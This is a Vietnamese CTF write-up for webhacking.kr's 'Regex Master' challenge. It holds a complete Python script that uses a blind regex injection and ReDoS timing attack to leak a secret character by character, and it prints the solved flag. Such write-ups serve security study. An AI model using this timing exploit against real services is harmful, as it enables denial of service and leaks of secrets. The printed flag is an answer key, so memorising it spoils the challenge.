Home Regex Master - webhacking.kr
Post
Cancel
webhackingkr logo

Regex Master - webhacking.kr

http://regexmaster.webhacking.kr

Source code

source_code source code

Phân tích

Ở bài này source code rất đơn giản, chỉ kiểm tra xem biến flag có chứa chuỗi parttern (nhận từ GET request) hay không mà không hề xuất ra kết quả hay output nào khác. Sau một hồi suy nghĩ thì mình quyết định thử khai thác bằng blind regex injection + timing attack Để hiểu chi tiết hơn về kĩ thuật này các bạn có thể xem tại đây.

Khai thác

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
import sys
import time
import random
import string
import re

# constants
THRESHOLD = 1
url = 'http://regexmaster.webhacking.kr/?pattern='
# predicates


def length_is(n):
    return ".{" + str(n) + "}$"


def nth_char_is(n, c):
    if c == '/':
        return ".{" + str(n-1) + "}" + '\/' + ".*$"
    if c == '\\':
        return ".{" + str(n-1) + "}" + '\\\\' + ".*$"
    return ".{" + str(n-1) + "}" + re.escape(c) + ".*$"

# utilities


def redos_if(regexp, salt):
    return "^(?={})(((((.*)*)*)*)*)*{}".format(regexp, salt)


def get_request_duration(payload):
    # print(payload)
    try:
        r = requests.get(url+payload)
        duration = r.elapsed.total_seconds()
    except:
        duration = -1
        exit(1)
    # print(duration)
    return duration


def prop_holds(prop, salt):
    return get_request_duration(redos_if(prop, salt)) > THRESHOLD


def generate_salt():
    return ''.join([random.choice(string.ascii_letters) for i in range(10)])


# exploit
if __name__ == '__main__':
    # generating salt
    salt = generate_salt()
    while not prop_holds('.*', salt):
        salt = generate_salt()
    print("[+] salt: {}".format(salt))

    # leak length
    upper_bound = 100
    secret_length = 0
    for i in range(0, upper_bound):
        if prop_holds(length_is(i), salt):
            secret_length = i
            break
    print("[+] length: {}".format(secret_length))

    flag = "FLAG{"
    for i in range(5, secret_length):
        stop = 0
        for c in range(32, 128):
            if prop_holds(nth_char_is(i+1, chr(c)), salt):
                flag += chr(c)
                print("[*] {}".format(flag))
                stop = 1
                break
    print("[+] Flag: {}".format(flag))  

FLAG{im_r/e/g/e/x_master//_//}

Tham khảo

https://diary.shift-js.info/blind-regular-expression-injection

This post is licensed under CC BY 4.0 by the author.

-

Slipping beauty - webhacking.kr